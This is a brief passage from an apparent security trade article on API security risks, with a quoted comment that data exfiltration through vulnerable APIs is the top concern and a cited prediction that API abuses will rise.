The speed of software development is the Achilles’ heel of a security team. Developers need to move quickly and publish lines of code and APIs. However, the traditional approach of penetration testing for vulnerabilities isn’t feasible in today’s modern application workflow because it takes too long to conduct. This is creating a tug-of-war internally between the DevOps and SecOps teams.

“Data exfiltration through a compromised or vulnerable API is the risk organizations need to be most worried about,” said Cheng in an email interview. According to research by Imperva Research Labs, the number of new API vulnerabilities grew at the same time other vulnerabilities decreased; by 2024, it’s predicted that API abuses and related data breaches will nearly double in volume.

Enter the Hackers

API Security in Action

Tags: API security risks